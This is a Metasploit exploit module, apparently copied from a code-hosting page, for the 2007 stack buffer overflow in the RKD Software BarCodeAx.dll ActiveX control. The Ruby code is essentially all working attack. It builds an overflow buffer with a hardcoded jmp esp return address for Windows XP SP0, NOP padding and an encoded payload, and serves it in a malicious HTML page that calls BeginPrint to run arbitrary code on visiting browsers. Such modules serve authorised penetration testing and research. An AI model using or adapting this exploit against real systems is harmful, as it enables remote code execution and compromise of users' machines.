Path: blob/master/modules/exploits/windows/browser/barcode_ax49.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in RKD Software Barcode Application17ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint18method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],22'References' => [23[ 'EDB', '4094' ],24[ 'OSVDB', '37482' ],25[ 'BID', '24596' ],26[ 'CVE', '2007-3435' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 1024,33'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp039],40'DisclosureDate' => '2007-06-22',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def autofilter52false53end5455def check_dependencies56use_zlib57end5859def on_request_uri(cli, request)60# Re-generate the payload61return if ((p = regenerate_payload(cli)) == nil)6263# Randomize some things64vname = rand_text_alpha(rand(100) + 1)6566buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded6768# Build out the message69content = %Q|<html>70<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>71<script language='javascript'>72#{vname}.BeginPrint("#{buff}");73</script>74</html>75|7677print_status("Sending #{self.name}")7879# Transmit the response to the client80send_response_html(cli, content)8182# Handle the payload83handler(cli)84end85end868788